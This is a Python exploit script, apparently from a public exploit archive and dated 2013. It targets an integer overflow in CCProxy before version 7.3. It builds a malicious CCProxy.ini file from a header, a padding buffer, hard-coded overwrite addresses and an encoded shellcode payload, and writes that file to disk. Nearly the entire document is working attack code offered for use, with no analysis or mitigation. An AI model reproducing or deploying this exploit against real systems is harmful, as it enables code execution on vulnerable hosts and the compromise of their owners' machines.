CCProxy 7.3 – Integer Overflow
#!/usr/bin/env python # Exploit Title: CCProxy v7.3 Integer Overflow Exploit # Date: 2013/03/22 # Author: Mr.XHat # E-Mail: Mr.XHat {AT} GMail.com # Vendor Homepage: http://www.youngzsoft.net/ # Software Link: http://user.youngzsoft.com/ccproxy/update/ccproxysetup.exe # Version: Prior To 7.3 # Discovered By: Mr.XHat # Tested On: WinXP SP3 EN hdr = "[System]" hdr += "\x0d\x0a" hdr += "Ver=7.3" hdr += "\x0d\x0a" hdr += "Language=" # EAX: 0x41414131 buf = "\x41" * 1028 gdt1 = "\x04\xB4\x12\x00" pad1 = "\x41" * 4 gdt2 = "\xF4\xB3\x12\x00" pad2 = "\x41" * 12 gdt3 = "\x04\xB4\x12\x00" sc = ( # Avoid: '\x00\xff\xf5' "\x6a\x32\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xba" + "\xb3\x5c\xb6\x83\xeb\xfc\xe2\xf4\x46\x5b\xd5\xb6\xba\xb3" + "\x3c\x3f\x5f\x82\x8e\xd2\x31\xe1\x6c\x3d\xe8\xbf\xd7\xe4" + "\xae\x38\x2e\x9e\xb5\x04\x16\x90\x8b\x4c\x6d\x76\x16\x8f" + "\x3d\xca\xb8\x9f\x7c\x77\x75\xbe\x5d\x71\x58\x43\x0e\xe1" + "\x31\xe1\x4c\x3d\xf8\x8f\x5d\x66\x31\xf3\x24\x33\x7a\xc7" + "\x16\xb7\x6a\xe3\xd7\xfe\xa2\x38\x04\x96\xbb\x60\xbf\x8a" + "\xf3\x38\x68\x3d\xbb\x65\x6d\x49\x8b\x73\xf0\x77\x75\xbe" + "\x5d\x71\x82\x53\x29\x42\xb9\xce\xa4\x8d\xc7\x97\x29\x54" + "\xe2\x38\x04\x92\xbb\x60\x3a\x3d\xb6\xf8\xd7\xee\xa6\xb2" + "\x8f\x3d\xbe\x38\x5d\x66\x33\xf7\x78\x92\xe1\xe8\x3d\xef" + "\xe0\xe2\xa3\x56\xe2\xec\x06\x3d\xa8\x58\xda\xeb\xd0\xb2" + "\xd1\x33\x03\xb3\x5c\xb6\xea\xdb\x6d\x3d\xd5\x34\xa3\x63" + "\x01\x43\xe9\x14\xec\xdb\xfa\x23\x07\x2e\xa3\x63\x86\xb5" + "\x20\xbc\x3a\x48\xbc\xc3\xbf\x08\x1b\xa5\xc8\xdc\x36\xb6" + "\xe9\x4c\x89\xd5\xdb\xdf\x3f\x98\xdf\xcb\x39\xb6" ) exp = hdr+buf+gdt1+pad1+gdt2+pad2+gdt3+sc file = open("CCProxy.ini", "w") file.write(exp) file.close() |